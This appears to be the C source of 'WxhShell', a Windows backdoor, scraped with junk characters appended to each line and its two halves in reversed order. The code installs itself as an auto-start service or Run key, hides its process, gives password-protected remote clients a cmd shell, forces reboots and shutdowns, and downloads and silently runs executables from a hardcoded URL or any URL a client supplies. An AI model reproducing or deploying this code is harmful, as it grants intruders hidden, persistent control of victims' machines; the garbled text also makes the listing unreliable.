    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]oC"gWDYu  
    if(Boot(SHUTDOWN)) CW]Th-xc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (D{J|  
    else { K'f2 S  
    closesocket(wsh); R'fEw3^  
    ExitThread(0); x1Z*R+|>2  
    } %N0m$*  
    break; ~Bi%8G  
    } )RQQhB  
  // 获取shell _z9~\N/@[  
  case 's': { )mjGHq 2  
    CmdShell(wsh); $KlaZ>D h  
    closesocket(wsh); ]0W64cuT  
    ExitThread(0); [8K :ml  
    break; ,T;D33XV  
  } zV(aw~CbZ  
  // 退出 (^E5y,H<g  
  case 'x': { "/Gw`^t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oe!4ng[  
    CloseIt(wsh); h.NCG96S  
    break; 4&v&XLkb  
    } 5hTScnL%  
  // 离开 \C4wWh-A  
  case 'q': { 7 NnXt'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,Z}ST|$u  
    closesocket(wsh); 1qBE|PwBp  
    WSACleanup(); W>: MK-_ J  
    exit(1); 14*6+~38m&  
    break; M}q;\}  
        } 1aUg({  
  } ( GoPXh  
  } O,S>6o)?  
yB 'C9wEH  
  // 提示信息 f.uy;v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4t3>`x 7  
} B+Ft  >  
  } }w-M .  
~$hR:I1  
  return; C%CgWO`Xj  
} o2q-x2uB  
R.vOYzo  
// shell模块句柄 g:GywX W  
int CmdShell(SOCKET sock) G;EJ\J6@Yw  
{ 3i'01z  
STARTUPINFO si; VT=gb/W6)a  
ZeroMemory(&si,sizeof(si)); z4$9,p `  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7S=,#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L 4Z+8*  
PROCESS_INFORMATION ProcessInfo; 5UG9&:zu'V  
char cmdline[]="cmd"; .rnT'""i<5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'GiN^Y9dcc  
  return 0; dnQ6Ras  
} t1yOAbI  
.GL@`7"  
// 自身启动模式 lnm@DWhf  
int StartFromService(void) }^j8<  
{ 99CK [G  
typedef struct yPs6_Qo!p  
{ w{So(AF  
  DWORD ExitStatus; K_-m:P  
  DWORD PebBaseAddress; $R+gA{49%  
  DWORD AffinityMask; o4Cq  /K  
  DWORD BasePriority; lNtxM"G&  
  ULONG UniqueProcessId;  + #E?)  
  ULONG InheritedFromUniqueProcessId; \NEk B&^n  
}   PROCESS_BASIC_INFORMATION; F`2h,i-9  
(n7{?`Yid  
PROCNTQSIP NtQueryInformationProcess; |5X59! JL  
%e3E}m>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *'aouS/?<6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1~3dX[&  
` aF8|tc_  
  HANDLE             hProcess; q-uzu!  
  PROCESS_BASIC_INFORMATION pbi; r;* |^>  
>5"e<mwD7d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $xq04ejJ  
  if(NULL == hInst ) return 0; kE8s])Z,+  
,J-|.ER->  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !!)$?R;1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P8|ANe1 v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D6+3f #k6  
HW,v"  
  if (!NtQueryInformationProcess) return 0; +R HiX!PG  
%7w8M{I R3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3S2Alx!6  
  if(!hProcess) return 0; D!/ 4u0m  
#s15AyKz5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CSq|R-@< U  
Dj'?12Onu=  
  CloseHandle(hProcess); e84%Y8,0  
/ x$JY\cq`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Dq$1 j%4Y  
if(hProcess==NULL) return 0; _z{9V7n4  
^Jq('@  
HMODULE hMod; "`cPV){]  
char procName[255]; !G0Mg; ,  
unsigned long cbNeeded; B)1(  
>~Tn%u<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F ]Zg  
D1v0`od'  
  CloseHandle(hProcess); Ak('4j!*}^  
0)~c)B:5  
if(strstr(procName,"services")) return 1; // 以服务启动 i20y\V os?  
,+6u6  
  return 0; // 注册表启动 JS%LJ _J  
} cSV&p|  
nGYi mRYO  
// 主模块 |3!)  
int StartWxhshell(LPSTR lpCmdLine) a|oh Ad  
{ Q1x&Zm1v  
  SOCKET wsl; #{J~ km/  
BOOL val=TRUE; FdzdoMY  
  int port=0; &Mudu/KTr  
  struct sockaddr_in door; L3xN#W;m7  
NFx%e  
  if(wscfg.ws_autoins) Install(); g)r{LxT#+  
KA?%1s(kJ  
port=atoi(lpCmdLine); UdM2!f  
4m91XD  
if(port<=0) port=wscfg.ws_port; {j]cL !Od  
<4vCx  
  WSADATA data; oe 6-F)+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }8aqSD<:  
F!)[H["_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    4W*o:Y!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ``:[Jr &  
  door.sin_family = AF_INET; _u$DcA8B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p!^K.P1 '  
  door.sin_port = htons(port); 5=|h~/.k  
M 80Q6K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z.Z;p/4F  
closesocket(wsl); W&|?8%"l]  
return 1; tJ>>cFx  
} `VO;\s$5j  
W$NFk(  
  if(listen(wsl,2) == INVALID_SOCKET) { eUB!sR%  
closesocket(wsl); ov,s]g83  
return 1; i({\fb|0  
} SF,:jpt`Z+  
  Wxhshell(wsl); 1 @t.J>  
  WSACleanup(); +ynhN\S$/  
x} c  
return 0; }kvix{  
r2.w4RMFua  
} r.zgLZ}3&V  
u$[8Zmgzz  
// 以NT服务方式启动 dG5jhkPX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7R:Ij[dV  
{ K)J_q3qo  
DWORD   status = 0; j;_  
  DWORD   specificError = 0xfffffff; S 4 17.n  
S8/~'<out  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #vyf*jPr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bRm;d_9zC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jwE=  
  serviceStatus.dwWin32ExitCode     = 0; N'EZJ oH  
  serviceStatus.dwServiceSpecificExitCode = 0; 1#_ pj eG  
  serviceStatus.dwCheckPoint       = 0; q&v~9~^}d  
  serviceStatus.dwWaitHint       = 0; 0Pf88'6  
b,~pwbHf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]j/= x2p  
  if (hServiceStatusHandle==0) return; eQ/w Mr  
#9]2Uixq[  
status = GetLastError(); ,>6a)2xh  
  if (status!=NO_ERROR) \z!lw  
{ ~s HdOMw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @hg[v`~  
    serviceStatus.dwCheckPoint       = 0; _^GBfM.  
    serviceStatus.dwWaitHint       = 0; }>BNdm"Er  
    serviceStatus.dwWin32ExitCode     = status; ^il$t]X5-  
    serviceStatus.dwServiceSpecificExitCode = specificError; N^oP,^+U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N)Q_z9b=  
    return; !vu-`u~86  
  } qfJ2iE|o2.  
g{}<ptx]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3R%JmLM+R9  
  serviceStatus.dwCheckPoint       = 0; R)Mkt8v  
  serviceStatus.dwWaitHint       = 0; \X*y~)+K`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mq4Zy3H   
} 5O]tkHYR  
/fT"WaTEK  
// 处理NT服务事件,比如:启动、停止 %4!^AA%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !|4]V}JQ  
{ :~"m yn,  
switch(fdwControl) Q}B]b-c+E  
{ tUULpx.h  
case SERVICE_CONTROL_STOP: A? B +  
  serviceStatus.dwWin32ExitCode = 0; 7 SJ=2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0g: q%P0  
  serviceStatus.dwCheckPoint   = 0; RDDA^U7y#  
  serviceStatus.dwWaitHint     = 0; `(?c4oq,c>  
  { ,iao56`E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AH'c:w]~  
  } v^o`+~i  
  return; Ar >JQ@0  
case SERVICE_CONTROL_PAUSE: s1cu5eCt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^\B4]'+^j  
  break; d6tv4Cf  
case SERVICE_CONTROL_CONTINUE: oc,I, v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l@GJcCufE  
  break; qdpi-*2  
case SERVICE_CONTROL_INTERROGATE: iLBORT !;  
  break; *l =f=  
}; "0PsCr}!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qQ)1+^  
} @hA`f4^  
ZPE-  
// 标准应用程序主函数 n5"oXpcIx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Co(N8>1  
{ 1\@PrO35J  
+i!HMyM  
// 获取操作系统版本 9VTAs:0D=  
OsIsNt=GetOsVer(); b3>zdS]Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z HZxr  
MQw}R7  
  // 从命令行安装 E]n]_{BN]  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^ICSh8C  
g9 ^\Q Yh!  
  // 下载执行文件 ? Pi|`W   
if(wscfg.ws_downexe) { cOdRb=?9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U { 0~&  
  WinExec(wscfg.ws_filenam,SW_HIDE); +jF |8  
} &'k(v(>n,  
ly34aD/p~,  
if(!OsIsNt) { EmO[-W|2  
// 如果时win9x,隐藏进程并且设置为注册表启动 =TEe:%mN  
HideProc(); *V:U\G  
StartWxhshell(lpCmdLine); 4t =Kt  
} 6|q"lS*$S  
else &D[M<7T  
  if(StartFromService()) fgL"\d}  
  // 以服务方式启动 dpS@:  
  StartServiceCtrlDispatcher(DispatchTable); q['D?)sy  
else _I;hM  
  // 普通方式启动 /f?;,CyI  
  StartWxhshell(lpCmdLine); +~G:z|k  
Jxe5y3* (  
return 0; k]:`<`/I_  
} 0$`pYW]  
@BnK C&{  
VFZyWX@#u  
FLQke"6i0:  
=========================================== |=:@<0.'  
:9 (kU  
PtUS7[]  
Wx3DWY;  
. mO8 ~Z  
H74'I}  
" x1wD`r  
l[5** ?#  
#include <stdio.h> r,IekFBs  
#include <string.h> j8e=],sQ  
#include <windows.h> j^b &Q  
#include <winsock2.h> 1r.2bL*~jw  
#include <winsvc.h> bt1bTo  
#include <urlmon.h> rusM]Z  
rLD1Cpeb,w  
#pragma comment (lib, "Ws2_32.lib") ) xV>Va8)  
#pragma comment (lib, "urlmon.lib") h){#dU+&  
~yXDN4s  
#define MAX_USER   100 // 最大客户端连接数 ?6vGE~ MuR  
#define BUF_SOCK   200 // sock buffer ~IO'"h'w  
#define KEY_BUFF   255 // 输入 buffer JM0+-,dl[  
ueW/i  
#define REBOOT     0   // 重启 !7]^QdBLY  
#define SHUTDOWN   1   // 关机 2|exY>`w  
23=wz%tF  
#define DEF_PORT   5000 // 监听端口 2HE<WI^#h  
H 9/m6F  
#define REG_LEN     16   // 注册表键长度 $@{ d\@U  
#define SVC_LEN     80   // NT服务名长度 I YptNR  
>3p8o@:  
// 从dll定义API Zg= {  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >PdrLwKS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uW}M1kq?+l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gQhYM7NP{5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P%w!4v ~"  
rwwyYIlEg  
// wxhshell配置信息 ="@f~~  
struct WSCFG { g:c?%J  
  int ws_port;         // 监听端口 g rQ,J  
  char ws_passstr[REG_LEN]; // 口令 )99^58my  
  int ws_autoins;       // 安装标记, 1=yes 0=no Wa?\W&  
  char ws_regname[REG_LEN]; // 注册表键名 xw~oR|`U  
  char ws_svcname[REG_LEN]; // 服务名 Ttb?x<)+8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :=quCzG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :%fnJg(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :W-xsw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KxJDAP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,*L3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^'sy hI\  
6lr<{k7Nw  
}; h^H)p`[Gme  
[W'2z,S`WD  
// default Wxhshell configuration yi-)4#YN  
struct WSCFG wscfg={DEF_PORT, Oeg^%Y   
    "xuhuanlingzhe", JsX}PVuL  
    1, UY\E uA9  
    "Wxhshell", ^m.%FIwR  
    "Wxhshell", *L<<S=g$2  
            "WxhShell Service", Q`=d5Uvw  
    "Wrsky Windows CmdShell Service", eY:jVYG(  
    "Please Input Your Password: ", T%TO?[cN  
  1, w0.;86<MV  
  "http://www.wrsky.com/wxhshell.exe", HErG%v]nw  
  "Wxhshell.exe" IS{>(XT{  
    }; 0)vX  
i Hcy,PBD  
// 消息定义模块 \gir  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eN  TKX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wX@g >(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %:-2P  
char *msg_ws_ext="\n\rExit."; Qyj:!-o  
char *msg_ws_end="\n\rQuit."; .T~Oc'wGo  
char *msg_ws_boot="\n\rReboot..."; *APTgXYR  
char *msg_ws_poff="\n\rShutdown..."; r;zG  
char *msg_ws_down="\n\rSave to "; `y&2Bf  
.Jc<Gg  
char *msg_ws_err="\n\rErr!"; #.@D}7y5  
char *msg_ws_ok="\n\rOK!"; }SW>ysw'm  
<)oW  
char ExeFile[MAX_PATH]; V9D>Xh!0H  
int nUser = 0; QyEoWKu;  
HANDLE handles[MAX_USER]; {k<mN Y  
int OsIsNt; #ChF{mh  
[_tBv" z  
SERVICE_STATUS       serviceStatus; io$fL_R=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @w;&:J9m  
`Y<FR  
// 函数声明 JjH141 n%D  
int Install(void); cs Gd}2VE  
int Uninstall(void); 8SO(pw9  
int DownloadFile(char *sURL, SOCKET wsh); 14 hE<u  
int Boot(int flag); +78cQqDY!  
void HideProc(void); 2Ni {fC?  
int GetOsVer(void); rhwjsC6  
int Wxhshell(SOCKET wsl); Zx%6pZ(.  
void TalkWithClient(void *cs); U;Q?Rh- W  
int CmdShell(SOCKET sock); G9 ra;.  
int StartFromService(void); pb|,rLNZ  
int StartWxhshell(LPSTR lpCmdLine); s>e)\9c  
iq`caoi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5wm(gF_t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +nQp_a1{9%  
}m.45n/  
// 数据结构和表定义 bb`8YF+?'  
SERVICE_TABLE_ENTRY DispatchTable[] = OP\m~1  
{ 43BqNQ0  
{wscfg.ws_svcname, NTServiceMain}, \2y [Hy?  
{NULL, NULL} o+FDkqEN  
}; /9@ VnM  
;0:[X+"(  
// 自我安装 o#=O5@>ai  
int Install(void) 1c*XmMB  
{ ?%i~~hfH#N  
  char svExeFile[MAX_PATH]; Dq9*il;'  
  HKEY key; (Ujry =f  
  strcpy(svExeFile,ExeFile); 7E\k97#G  
c#`&uLp  
// 如果是win9x系统,修改注册表设为自启动 wp>L}!  
if(!OsIsNt) { C"g bol^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5/m}v'S%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R b=q #  
  RegCloseKey(key); %@Nu{?I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \vqqs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P?j;&@$^e  
  RegCloseKey(key);  ]YKxJ''u  
  return 0; `z<I<  
    } D` 2w>{Y  
  } CsiRM8  
} T3h1eU  
else { v8 pOA<s  
K4Hu0  
// 如果是NT以上系统,安装为系统服务 9}aEV 0 V|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wg]VG,  
if (schSCManager!=0) dc,qQM  
{ D7v_ <  
  SC_HANDLE schService = CreateService Mk!bmFZOZ  
  ( ygYy [IZ  
  schSCManager, -qdt$jIM  
  wscfg.ws_svcname, ?OVje9  
  wscfg.ws_svcdisp, f}w_]l#[G  
  SERVICE_ALL_ACCESS, V3q [ $~9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $Ahe Vps@@  
  SERVICE_AUTO_START, WlmkM?@  
  SERVICE_ERROR_NORMAL, YZ^mH <  
  svExeFile, kt7x}F(?<  
  NULL, y1 a1UiHGP  
  NULL, /^=8?wK  
  NULL, lwm 9gka  
  NULL, /-Z}=  
  NULL *g[MGyF "  
  ); /o9 0O&  
  if (schService!=0) hr3<vWAD  
  { 1\-r5e; BE  
  CloseServiceHandle(schService); N."x@mV  
  CloseServiceHandle(schSCManager); zV8{|-2]No  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0HN%3AG]  
  strcat(svExeFile,wscfg.ws_svcname); !TO+[g!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { . Ky)Co  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ) (0=w4  
  RegCloseKey(key); vL8Rg} Jh4  
  return 0; 'PWA  
    } 6o4Y]C2W{1  
  } c/E'GG%Q%  
  CloseServiceHandle(schSCManager); Y-lTPR<Eq  
} {%c&T S@s  
} Sm;@MI<@/  
UT0}Ce>e  
return 1; o+Fm+5t;  
} :Q8*MJ3&V  
k%V YAON  
// 自我卸载 &z@}9U*6b  
int Uninstall(void) Uo;a$sR  
{ D~n-;T  
  HKEY key; [ps4i_  
P=l 7m*m  
if(!OsIsNt) { JJ9R, 8n6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O_L>We@3E  
  RegDeleteValue(key,wscfg.ws_regname); [9G=x[  
  RegCloseKey(key); Up0kTL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Po*!eD  
  RegDeleteValue(key,wscfg.ws_regname); oX7_v_:J\R  
  RegCloseKey(key); w)&?9?~  
  return 0; {vdY(  
  } $PRUzFZ  
} d:"7Tw2v+  
} z_Hkw3?  
else { |AS~sjWSJ  
>>|47ps3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QseV\;z  
if (schSCManager!=0) %xr'96d  
{ '2 Y8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Swh\^/B8  
  if (schService!=0) 70 Ph^e)  
  { H3 -?cy  
  if(DeleteService(schService)!=0) { S|af?IW  
  CloseServiceHandle(schService); ;tQ(l%!  
  CloseServiceHandle(schSCManager); ;e.8EL  
  return 0; suE8"v!sk  
  } bg|dV  
  CloseServiceHandle(schService); ;M~9Yr=1  
  } >'4$g7o,  
  CloseServiceHandle(schSCManager); ,:2Z6~z{  
} \iaZV.#f  
} ]>1`Fa6_  
G|RBwl  
return 1; v|KIVBkbT  
} ^4NRmlb  
ay|jq "a  
// 从指定url下载文件 J% n#uUs  
int DownloadFile(char *sURL, SOCKET wsh) zliMG=6  
{ Pm%5c\ef  
  HRESULT hr;  ;u [:J  
char seps[]= "/"; QO0@Ax\b  
char *token; #-PMREgO  
char *file; v 2 p  
char myURL[MAX_PATH]; ZjY,k  
char myFILE[MAX_PATH]; ({@" {  
Z=Cw7E  
strcpy(myURL,sURL); !Z |_3  
  token=strtok(myURL,seps); ?3a=u<  
  while(token!=NULL) -#mN/  
  { 4f~sRubK  
    file=token; E_I-.o|  
  token=strtok(NULL,seps); y10W\beJ  
  } lJN#_V0qW  
0|J9Btbp  
GetCurrentDirectory(MAX_PATH,myFILE); )+|wrK:*v  
strcat(myFILE, "\\"); i/I  
strcat(myFILE, file); U;TS7A3  
  send(wsh,myFILE,strlen(myFILE),0); :*BN>*1^\r  
send(wsh,"...",3,0); H }]Zp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I'^XEl?   
  if(hr==S_OK) )">#bu$  
return 0; )P?Fni}  
else ]kx<aQ^  
return 1; ^;h\#S[%  
j,;f#+O`g  
} p`rjWpH  
,YjjL  
// 系统电源模块 }!k?.(hpE  
int Boot(int flag) lR7;{zlSf'  
{ 38m9t'  
  HANDLE hToken; y9]7LETv\M  
  TOKEN_PRIVILEGES tkp; R-dv$z0  
1Az&BZU[  
  if(OsIsNt) { /3k[3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <}A6 )=T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =OtW!vx#R.  
    tkp.PrivilegeCount = 1; p7Zeudmj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F):kF_ho  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #<B?+gzFM{  
if(flag==REBOOT) { A^+kA)8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Og1\6Q  
  return 0; 6Iv};f"Y  
} 4[gbRn'  
else { H7P}=YW".  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R[6R)#o  
  return 0; xi.?@Lff  
} 9<y{:{i  
  } Qj1%'wWG  
  else { ROfV Y:,M  
if(flag==REBOOT) { ewN|">WXQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mt0v (  
  return 0; "N_@q2zF  
} Iurz?dt4w  
else { `L <sZ;Cj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f% t N2k  
  return 0; ws,?ImA  
} #Dgu V  
} GHLnwym  
35AH|U7b  
return 1; }j1;0kb?  
} {wt9/IlG1  
SJO*g&duQ  
// win9x进程隐藏模块 :.l\lj0Yf  
void HideProc(void) 2Hx*kh2  
{ _X<V` , p  
K iXD1Zpz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d^$cx(2$D  
  if ( hKernel != NULL ) AVU'rsXA  
  { i=>`=. ~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Wt!;Y,1 s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bOrE86v:  
    FreeLibrary(hKernel); I Gb'ii=A  
  } &1=,?s]&  
H3d|eO4+W  
return; oz:J.<j24Z  
} ujX\^c  
}V.fY3J-  
// 获取操作系统版本 -~\7ZRP8  
int GetOsVer(void) c<cYX;O  
{ wV$V X  
  OSVERSIONINFO winfo; m|+zMf&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =8p[ (<F=  
  GetVersionEx(&winfo); 1uA-!T*e>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T}XJFV  
  return 1; n Zx^ej\  
  else "4smW>f:%  
  return 0; n],cs  
} C`3fM05g  
HQ4WunH2Y  
// 客户端句柄模块 V)`Q0}  
int Wxhshell(SOCKET wsl) GLV`IkU %  
{ #vBSg  
  SOCKET wsh; 5HvYy *B/  
  struct sockaddr_in client; flBJO.2  
  DWORD myID; +{)V%"{u:  
N;m62N  
  while(nUser<MAX_USER) +`m0i1uI3  
{ ={190=\9  
  int nSize=sizeof(client); "6?Y$y/wm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }zeKf/?'  
  if(wsh==INVALID_SOCKET) return 1; F>@z&a}(  
j=>WWlZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1 EV0Y]T1  
if(handles[nUser]==0) Uf[Gs/!NV  
  closesocket(wsh); &j{I G`Trl  
else ZhoB/TgdL  
  nUser++; 8Waic&lX~  
  } aO\@5i_r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "rQ?2?  
.8|5;!`WB  
  return 0; i2Gh!5]f  
} ?nR$>a`  
D%'rq  
// 关闭 socket 0R,Y[).U  
void CloseIt(SOCKET wsh) 5hiuBf<  
{ P'Jb')m  
closesocket(wsh); +n8,=}  
nUser--; iF+50d  
ExitThread(0); jRjQDK_"ka  
} ve=1y)  
+G!;:o  
// 客户端请求句柄 T=cb:PD{%  
void TalkWithClient(void *cs) WOGMt T%  
{ pC)S9Kl  
hN:2(x  
  SOCKET wsh=(SOCKET)cs; j7Lw( AJ  
  char pwd[SVC_LEN]; MWc{7,  
  char cmd[KEY_BUFF]; F8Z6Ss|v3  
char chr[1]; opxPK=kJ  
int i,j; }KrZ6cG9#  
HmEU;UbO-  
  while (nUser < MAX_USER) { W3i X;-Z  
r\{; ~V  
if(wscfg.ws_passstr) { en gh3TZC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); af7\2 g3*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #1f8A5<  
  //ZeroMemory(pwd,KEY_BUFF); gLv";"4S  
      i=0; gMZ?MG  
  while(i<SVC_LEN) { j,JGs[A  
Ibl==Irk  
  // 设置超时 1hgmlY`  
  fd_set FdRead; o//PlG~  
  struct timeval TimeOut; o#&;,9  
  FD_ZERO(&FdRead); W*|U  
  FD_SET(wsh,&FdRead); ;tLu  
  TimeOut.tv_sec=8; rB%acTCz=[  
  TimeOut.tv_usec=0; .:s**UiDR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s"]LQM1|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uU00ZPS*G[  
-T-h~5   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b$)XS  
  pwd=chr[0]; <El6?ml@  
  if(chr[0]==0xd || chr[0]==0xa) { F D6>[W  
  pwd=0; /F 1mYq~  
  break; $ V"7UA22  
  } T|[ o  
  i++; #fYz367>  
    } s?*MZC  
.Su9fj y%  
  // 如果是非法用户,关闭 socket eq\{*r"DCK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C '}8  
} /z+}xRS  
s&$Zgf6Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }3!.e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); asI:J/%+2  
cS ;hyLd  
while(1) { KdOy3O_5N  
Y&5h_3K;<  
  ZeroMemory(cmd,KEY_BUFF); G}\E{VvWh  
N*My2t_+E  
      // 自动支持客户端 telnet标准   > c7fg^@  
  j=0; !W8'apG&[  
  while(j<KEY_BUFF) { L +s,,k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~>ACMO  
  cmd[j]=chr[0]; Tl Z|E '_C  
  if(chr[0]==0xa || chr[0]==0xd) { 7Q.?] k&  
  cmd[j]=0; 3&-BO%i  
  break; E7axINca  
  } }o? @  
  j++; ' 7>V4\"  
    } @&d/}Mx"t  
P$D1kcCw  
  // 下载文件 -$4PY,  
  if(strstr(cmd,"http://")) { I/MYS5}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BaTE59W  
  if(DownloadFile(cmd,wsh))  >kK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8fJ- XFK$:  
  else ?!~CX`eMZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5o2;26c  
  } 4RNB\D  
  else { zrG&p Z  
